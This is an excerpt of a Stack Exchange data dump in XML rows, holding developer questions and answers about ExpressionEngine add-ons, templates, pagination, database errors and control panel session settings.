  <row Id="28967" PostTypeId="2" ParentId="25990" CreationDate="2015-02-11T20:57:28.380" Score="1" Body="&lt;p&gt;It is used by the CodeIgniter database drivers. &lt;code&gt;$db['expressionengine']['cache_on']&lt;/code&gt; is exactly what it is related to. The &lt;code&gt;$db['expressionengine']&lt;/code&gt; settings are passed to CodeIgniter and read based on the active record group set &lt;code&gt;$active_group = 'expressionengine';&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.codeigniter.com/user_guide/database/configuration.html&quot; rel=&quot;nofollow&quot;&gt;CodeIgniter 2.x Database Configuration&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2728" LastActivityDate="2015-02-11T20:57:28.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28968" PostTypeId="1" CreationDate="2015-02-11T21:36:17.883" Score="0" ViewCount="39" Body="&lt;p&gt;I've been performing an ExpressionEngine upgrade from v2.5 to 2.9.2. Everything seems to be going well except for the db error I get when upgrading playa. Playa appears to be working, but I get the error when I click on the playa link in the &quot;Addons/Fieltypes/Playa&quot;. Not a major deal, but very interested in finding out why I'm getting error below.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1060&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Duplicate column name 'parent_var_id'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALTER TABLE exp_playa_relationships ADD parent_var_id INT(6) UNSIGNED AFTER parent_row_id, ADD INDEX (parent_var_id)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/playa/ft.playa.php&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Line Number: 426&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how I can fix this?&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2015-02-11T21:36:17.883" Title="Database Error when upgrading Playa" Tags="|ee2|playa|pixelandtonic|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28969" PostTypeId="2" ParentId="24161" CreationDate="2015-02-11T21:52:21.060" Score="1" Body="&lt;p&gt;That error is telling you that you don't have the &lt;code&gt;view&lt;/code&gt; library loaded and you need it to make that call. Removing &lt;code&gt;error_handling=&quot;inline&quot;&lt;/code&gt; would prevent the errors from manipulating the view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm assuming line 618 is loading css in a &lt;code&gt;_browser_css&lt;/code&gt; method based on my version. That method is called by a &lt;code&gt;browser&lt;/code&gt; method.  Place &lt;code&gt;ee()-&amp;gt;load-&amp;gt;library('view');&lt;/code&gt; inside the &lt;code&gt;browser&lt;/code&gt; method anywhere before the calls to the methods that require view.&lt;/p&gt;&#xA;" OwnerUserId="2728" LastActivityDate="2015-02-11T21:52:21.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28970" PostTypeId="1" CreationDate="2015-02-11T22:27:25.997" Score="1" ViewCount="72" Body="&lt;p&gt;I've got a grid field (slides) that contains 2 Data Types:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Text Input - field name: &lt;strong&gt;text&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Assets (multiple selections allowed.) - field name: &lt;strong&gt;img&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The Assets folder that has been selected has a image modification called 'sml'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get all the default images outputted in my template in 2 different ways (based on 3 files being added):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example file names: img_1.png, img_2.png, img_3.png&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example file folder: /content/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{slides}&#xA;  {slides:img:url offset=&quot;0&quot;}, &#xA;  {slides:img:url offset=&quot;1&quot;}, &#xA;  {slides:img:url offset=&quot;2&quot;}, &#xA;{/slides}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{slides}&#xA;  {slides:img}&#xA;    {slides:img:url}, &#xA;  {/slides:img}&#xA;{/slides}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both examples above output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/content/img_1.png, &#xA;/content/img_2.png, &#xA;/content/img_3.png,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But using the same logic for the image manipulations, example 1 above only shows the first image?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{slides}&#xA;  {slides:img:url:sml offset=&quot;0&quot;}, &#xA;  {slides:img:url:sml offset=&quot;1&quot;}, &#xA;  {slides:img:url:sml offset=&quot;2&quot;}, &#xA;{/slides}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /content/_sml/img_1.png, &#xA;/content/_sml/img_1.png, &#xA;/content/_sml/img_1.png,&#xA;&#xA;&#xA;&#xA;{slides}&#xA;  {slides:img:}&#xA;    {slides:img:url:sml}, &#xA;  {/slides:img}&#xA;{/slides}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/content/_sml/img_1.png, &#xA;/content/_sml/img_2.png, &#xA;/content/_sml/img_3.png,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5037" LastActivityDate="2015-02-11T22:27:25.997" Title="Assets + multiple files + file manipulations: offset not working" Tags="|assets|pixelandtonic|grid|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28972" PostTypeId="1" AcceptedAnswerId="28973" CreationDate="2015-02-12T01:31:05.773" Score="0" ViewCount="52" Body="&lt;p&gt;Is there a way to configure Store so that it redirects the customer to the checkout page upon adding an item to a shopping cart?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2015-02-12T02:03:13.513" Title="Store: one click checkout?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28973" PostTypeId="2" ParentId="28972" CreationDate="2015-02-12T02:03:13.513" Score="2" Body="&lt;p&gt;You can set a return parameter on the product tag to redirect the user to whatever page you want. If your checkout url was &lt;code&gt;example.com/checkout&lt;/code&gt; you would have something along the lines of&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product return=&amp;quot;checkout&amp;quot; entry_id=&amp;quot;{entry_id}&amp;quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://www.exp-resso.com/docs/product_tag.html#return_path&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;return=&amp;quot;path&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;This parameter is optional. It will redirect the user to&#xA;the specified page after the form is submitted - such as the Checkout&#xA;page. If no redirect is specified, the form will display the current&#xA;page (useful if you just wish to update a sidebar cart)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-02-12T02:03:13.513" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28974" PostTypeId="1" AcceptedAnswerId="28991" CreationDate="2015-02-12T09:57:54.653" Score="0" ViewCount="50" Body="&lt;p&gt;We are using content element module version(1.6.4) along with EE Version(2.9.2),and when using gallery tag in the template the output is simply showing other tags instead of information, please check the output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cZNKp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And we used the expression in template like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;nieuws&quot;}     &#xA;      {title}&#xA;      {nieuws_description}&#xA;            {editor}&#xA;                {value}&#xA;            {/editor}&#xA;            {gallery}&#xA;            {if images}&#xA;                {images}&#xA;                    Thumbnail: &amp;lt;img src=&quot;{thumb}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    Original: &amp;lt;img src=&quot;{image}&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;                    Image type: {extension}&amp;lt;br /&amp;gt;&#xA;                    Image size: {size}&amp;lt;br /&amp;gt;&#xA;                    Caption: {caption}&amp;lt;br /&amp;gt;&#xA;                {/images}&#xA;            {/if}&#xA;        {/gallery}&#xA;        {/nieuws_description}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically there is a something wrong in gallery tag because if we remove it from template it works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2015-02-13T09:51:44.663" Title="Content element gallery messing up everything" Tags="|templates|content-elements|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="28975" PostTypeId="1" CreationDate="2015-02-12T10:25:28.557" Score="0" ViewCount="25" Body="&lt;p&gt;Can you please help. Matrix isn't displaying information on the front end.&#xA;&lt;a href=&quot;http://www.ledgrouprobus.com/robus&quot; rel=&quot;nofollow&quot;&gt;http://www.ledgrouprobus.com/robus&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5038" LastActivityDate="2015-02-12T10:25:28.557" Title="Matrix Not Displaying Front End" Tags="|matrix|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28976" PostTypeId="2" ParentId="28941" CreationDate="2015-02-12T10:29:16.137" Score="0" Body="&lt;p&gt;Always check for errors; turn inline error handling off first (for a quick test) then turn inline back on and ensure you have error handling on (every required field, etc). A return to a page usually indicates an unhandled form error.  &lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2015-02-12T10:29:16.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28977" PostTypeId="1" AcceptedAnswerId="28980" CreationDate="2015-02-12T11:55:16.830" Score="0" ViewCount="80" Body="&lt;p&gt;This is really foxing me. I've got a single 'layout' template that is called as a wrapper by all my other 'content' templates (i.e. {layout=&quot;layouts/_general_layout&quot;}). Part of the layout template provides the main navigation; three items in that navigation have sub-menus (which are just unordered lists). The list items inside those ULs are generated dynamically, from channel entry data. It all works fine for every 'content' template… except three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When these three templates (let's call them The Problems) call the layout, one or more of the navigation sub-menus in the layout do not get generated. The &amp;lt;ul&amp;gt;s are left empty. Exactly which of the three &amp;lt;ul&amp;gt;s get missed is different for each of the Problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is perplexing me is that I can only think of two ways in which the content template can affect the output of the layout template: layout variables (either as a parameter or via the {layout:set} tag, or by having conditionals in the layout that vary things according to the URL segments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have some layout variables artwork in my content templates, but they only act to set meta tags for SEO. And there are no segment-checking conditionals around the missing dynamically-generated submenus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The missing content is actually missing, not just hidden with CSS. Turning javascript off makes no difference. I've even commented out EVERYTHING inside the ‘Problem’ content templates except for the {layout=&quot;layouts/_general_layout&quot;} tag (and removed the layout variable parameters for good measure) and the issue persists. So presumably the issue lies in the layout itself, but I absolutely cannot see the problem, since it works perfectly for every other content template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As additional info, let me say that all three Problems are part of the same template group: news/year, news/month, and news/article. However, news/index does not trigger the problem — that one works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So: Can anybody suggest what other factors (other than segment-based conditionals and layout variables) might cause a layout to miss out/not parse chunks only when called by specific content templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'l post template code if required, but that might mean quite a bit of code, so I thought I'd ask without it first).&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-03-14T13:21:51.457" Title="‘layout’ template missing content, but only sometimes" Tags="|template-layouts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28979" PostTypeId="1" AcceptedAnswerId="29026" CreationDate="2015-02-12T12:16:21.083" Score="1" ViewCount="31" Body="&lt;p&gt;I have a channel containing entries with a custom country field that uses Reegion Select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to output the entries in alphabetical order based on this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that Reegion Select stores the 2 character ISO country code for each country and maps it to the English name. So when you list the names alphabetically countries like Germany (DE) and Spain (ES) don't sit in the correct place in the list. I need a way to get the English name to use in the orderby parameter of my entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reegion Select has a number of methods to get different versions of the country name/code out by using {field:alpha2} or {field:country} but this won't work in the entries tag parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I'm looking for ideas on how to crack this one. Help!&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="7705" LastEditDate="2020-03-17T17:48:09.600" LastActivityDate="2020-03-17T17:48:09.600" Title="Ordering Entries using Reegion Select field" Tags="|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28980" PostTypeId="2" ParentId="28977" CreationDate="2015-02-12T12:27:51.377" Score="0" Body="&lt;p&gt;Ugh. It's solved, courtesy of Mr Boyink over on the Ellis Labs forum. And the solution was nothing more complex (and, for me, shaming) than our old friend dynamic=&quot;no&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact that the layout was working fine for 75% of the site's templates had made me look for something more complex, thinking that if the problem lay in the channel:entry tags then the problem would manifest for all pages of the site. Once Mike guessed what the problem might be, I realised what it is that sets the problem templates apart from all the others: they are the only ones in the site that are not the index templates of their respective template groups. So they are the only ones that would require the benefit of dynamic=&quot;no&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, I hate being caught out by that parameter. Thought I was past that. &lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2015-02-12T12:27:51.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28981" PostTypeId="1" CreationDate="2015-02-11T00:52:13.767" Score="0" ViewCount="135" Body="&lt;p&gt;I am trying to list upcoming events in Expression Engine. I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:events sort=&quot;asc&quot; dynamic=&quot;no&quot; status=&quot;current&quot; event_limit=&quot;2&quot;}&#xA;  &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;{/exp:calendar:events}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am unable to retrieve the full path (www.domain.con/etc/etc). I have tried url_title in the href but it is just the name of the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These entries belong to a channel called Calendar: Events if that matters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the tag to get the full path to an Entry?&lt;/p&gt;&#xA;" OwnerUserId="4979" OwnerDisplayName="andrewb" LastEditorUserId="172" LastEditDate="2015-02-12T14:25:54.213" LastActivityDate="2016-01-12T06:38:30.490" Title="Expression Engine, get full URL to entry" Tags="|solspace|solspace-calendar|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28983" PostTypeId="2" ParentId="28981" CreationDate="2015-02-12T15:19:35.557" Score="0" Body="&lt;p&gt;You need to use include the name of your template group and template. Take a look at the path variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{path='channel/archives'}&quot;&amp;gt;My Archives Page&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can read more about it here: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/path.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/templates/globals/path.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2015-02-12T15:19:35.557" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28985" PostTypeId="1" AcceptedAnswerId="29025" CreationDate="2015-02-12T16:05:52.057" Score="3" ViewCount="262" Body="&lt;p&gt;I created a Low Variable, using a Grid field. One of the Grid columns is an Assets field. It actually all works as supposed to. Except that I get an annoying PHP notice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Severity: Notice&#xA;Message: Array to string conversion&#xA;Filename: assets/ft.assets.php&#xA;Line Number: 1778&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some example code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_variables:pair var=&quot;low_var_grid&quot;}     &#xA;    {low_var_grid:grid_assets_col}&#xA;        &amp;lt;img src=&quot;{low_var_grid:grid_assets_col:url}&quot;&amp;gt;&#xA;    {/low_var_grid:grid_assets_col}&#xA;{/exp:low_variables:pair}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setup&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EE 2.9.2&#xA;Low Variables 2.5&#xA;Assets 2.5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1018" LastActivityDate="2015-06-15T16:16:15.577" Title="PHP error when using Low Variables with Grid and Assets" Tags="|assets|grid|low-variables|php-errors|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28986" PostTypeId="1" CreationDate="2015-02-12T16:44:50.367" Score="1" ViewCount="136" Body="&lt;p&gt;&lt;strong&gt;Situation&lt;/strong&gt;: I have a Low Search outputting my search results using the &quot;search:field&quot; parameter. This works.&#xA;In the publish form a user can add a Video EITER by submitting a youtube/vimeo link or pasting an embed code from another video service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: I would like to use the search param to only display entries that have either one of these fields set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like: &lt;code&gt;search:my_field_video=&quot;not IS_EMPTY&quot; OR search:my_field_embed=&quot;not IS_EMPTY&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use conditionals in the output to check for the existence of there field values, the search results aren't correct (it'll say: 103 items when there are only 100 because 3 are counted but not shown).&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2015-12-14T08:20:05.863" Title="Low Search: search parameter conditional" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28987" PostTypeId="2" ParentId="28986" CreationDate="2015-02-12T17:03:08.263" Score="1" Body="&lt;p&gt;Combining tag parameters with OR is something that is not easily done in EE, as the whole paradigm for this is cumulative. Everywhere, parameters are combined with AND.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you'd have to work around it, for example by creating &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/create&quot; rel=&quot;nofollow&quot;&gt;a custom filter&lt;/a&gt;. Or, if you're OK with hardcoding the parameter, you could use a &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/parameters#sql-params&quot; rel=&quot;nofollow&quot;&gt;SQL Parameter&lt;/a&gt;. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;entry_id=&quot;SELECT entry_id FROM exp_channel_data WHERE channel_id = 1 AND (field_id_X != '' OR field_id_Y != '');-1&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where you'd have to replace X and Y with the appropriate field IDs, and make sure the &lt;code&gt;channel_id&lt;/code&gt; is correct.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-12T17:03:08.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28991" PostTypeId="2" ParentId="28974" CreationDate="2015-02-13T09:51:44.663" Score="1" Body="&lt;p&gt;Check if custom field with short_name &quot;nieuws_description&quot; already exists in custom fields settings.&lt;/p&gt;&#xA;" OwnerUserId="5044" LastActivityDate="2015-02-13T09:51:44.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28992" PostTypeId="1" AcceptedAnswerId="29018" CreationDate="2015-02-13T12:45:18.583" Score="0" ViewCount="253" Body="&lt;p&gt;I have this page for showing articles, and I want to have links below the article to paginate to the next and previous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot; dynamic=&quot;yes&quot; url_title=&quot;{segment:article}&quot; status=&quot;open|featured&quot; paginate=&quot;bottom&quot;}&#xA;  &amp;lt;section class=&quot;block block--intro&quot;&amp;gt;&#xA;   &amp;lt;div class=&quot;panel&quot;&amp;gt;&#xA;    &amp;amp;lt;header class=&quot;panel__heading&quot;&amp;amp;gt;&#xA;     &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    &amp;amp;lt;/header&amp;amp;gt;&#xA;    &amp;lt;div class=&quot;panel__body&quot;&amp;gt;&#xA;     &amp;lt;figure&amp;gt;&#xA;      {exp:ce_img:pair src=&quot;{article_featured_image}&quot;}&#xA;       &amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;      {/exp:ce_img:pair}&#xA;     &amp;lt;/figure&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;footer class=&quot;panel__footer&quot;&amp;gt;&#xA;     &amp;lt;ul class=&quot;list-unstyled list-inline meta&quot;&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-user fa-fw&quot;&amp;gt;&amp;lt;/i&amp;gt;Written by {author}&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-calendar fa-fw&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;time&amp;gt;{entry_date format=&quot;%F %j%S %Y&quot;}&amp;lt;/time&amp;gt;&amp;lt;/li&amp;gt;&#xA;      &amp;lt;li&amp;gt;&amp;lt;i class=&quot;fa fa-folder-o fa-fw&quot;&amp;gt;&amp;lt;/i&amp;gt;{categories}{category_name}, {/categories}&amp;lt;/li&amp;gt;&#xA;     &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/footer&amp;gt;&#xA;&#xA;   &amp;lt;/div&amp;gt;&#xA;  &amp;lt;/section&amp;gt;&#xA;&#xA;  &amp;lt;main&amp;gt;&#xA;   &amp;lt;article class=&quot;article&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;wrapper&quot;&amp;gt;&#xA;&#xA;          {article_content}&#xA;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/article&amp;gt;&#xA;&#xA;   {paginate}&#xA;    {if previous_page}&#xA;     &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Previous Page&amp;lt;/a&amp;gt; &amp;amp;nbsp;&#xA;    {/if}&#xA;    {if next_page}&#xA;     &amp;lt;a href=&quot;{auto_path}&quot;&amp;gt;Next Page&amp;lt;/a&amp;gt;&#xA;    {/if}&#xA;   {/paginate}&#xA;&#xA;  &amp;lt;/main&amp;gt;&#xA;&#xA;&#xA;&#xA;  {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For my Template Route for this template I have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;articles/{article:alpha_dash} and set Segments Required to Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? No code is being displayed for the pagination.&lt;/p&gt;&#xA;" OwnerUserId="1063" LastActivityDate="2015-02-17T05:38:12.997" Title="Pagination with Template Routes" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28993" PostTypeId="1" AcceptedAnswerId="30176" CreationDate="2015-02-13T13:49:47.177" Score="3" ViewCount="70" Body="&lt;p&gt;The internal rules regarding how long users can stay logged into the CP have undergone numerous changes in the last few version of EE (mainly 2.7.x onward I think). Various config overrides were introduced and then removed again, and the Docs make reference to some changes that are not listed in the change log. So I'm getting a bit lost in what is current and what is not. Specifically: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We used to have cp_session_ttl and user_session_ttl available. Now the documentation mentions that they have been replaced in v2.8, apparently with expire_session_on_browser_close (see: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#expire-session-on-browser-close&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;). But the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-8-0&quot; rel=&quot;nofollow&quot;&gt;change log for 2.8&lt;/a&gt; makes no mention of expire_session_on_browser_close, in fact as far as I can see it doesn't appear anywhere on the change log page. And this expire_session_on_browser_close config setting does not seem to do &lt;em&gt;quite&lt;/em&gt; the same job as the two variables in any case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there is also the matter that apparently there was a setting hardcoded into the system to log people out after being idle for a certain amount of time, which was unaffected by either of the two (now deprecated?) config variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: as of the current version (2.9.2) what is the method to control how long a user can stay logged into the CP before being booted out? Is it even possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm particularly interested because I keep most of my config variables in a separate file (as per Focus Labs masterConfig system) so the system upgrades of EE don't necessarily remove/rewrite deprecated variables as they might otherwise do if all my config settings were inside the system folder).&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-02-14T11:34:13.490" LastActivityDate="2015-02-23T05:22:14.413" Title="Seeking clarity regarding Control Panel auto-logouts" Tags="|control-panel|logout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28994" PostTypeId="2" ParentId="26459" CreationDate="2015-02-13T14:05:02.557" Score="2" Body="&lt;p&gt;Store relies on a library called &lt;code&gt;expressodev/laravel-codeigniter-db&lt;/code&gt;. The latest version of this library &lt;em&gt;does&lt;/em&gt; support &lt;code&gt;mysqli&lt;/code&gt;, but the version that comes packaged with Store is older and does not contain &lt;code&gt;mysqli&lt;/code&gt; support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace your &lt;code&gt;system/expressionengine/third_party/store/vendor/expressodev/laravel-codeigniter-db&lt;/code&gt; folder with the latest version found here: &lt;a href=&quot;https://github.com/expressodev/laravel-codeigniter-db&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/laravel-codeigniter-db&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2015-02-13T14:05:02.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28996" PostTypeId="1" CreationDate="2015-02-13T16:58:45.610" Score="0" ViewCount="45" Body="&lt;p&gt;I am working on a site from designs done in Illustrator and when I try and copy text from the Illustrator document and paste it into Wygwam nothing happens. It is just blank. I have to first paste the copy into a text editor and then copy it and paste it into Wygwam for it to work. Does anyone else have this problem and is there a solution?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-02-13T16:58:45.610" Title="Unable to paste text from Illustrator into Wygwam field" Tags="|wygwam|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28999" PostTypeId="1" AcceptedAnswerId="29020" CreationDate="2015-02-13T17:54:42.430" Score="0" ViewCount="77" Body="&lt;p&gt;I saw a similar question about Channel Form, but I am wondering if there is a way to save a new form response each time a user edits a previous form response with Freeform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A second related question to this: if I were to duplicate a form, can the form be prepopulated with a user's answers to the first version of the form, then the response be saved as a response to the new form. (The form is a survey that users will be asked to complete annually; we need to save their responses for each year, but we don't want the users to have to fill out the form from scratch each time as the it is lengthy).&lt;/p&gt;&#xA;" OwnerUserId="3733" LastActivityDate="2015-02-15T21:18:06.767" Title="Can user edit a freeform entry but save as new response?" Tags="|solspace-freeform|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
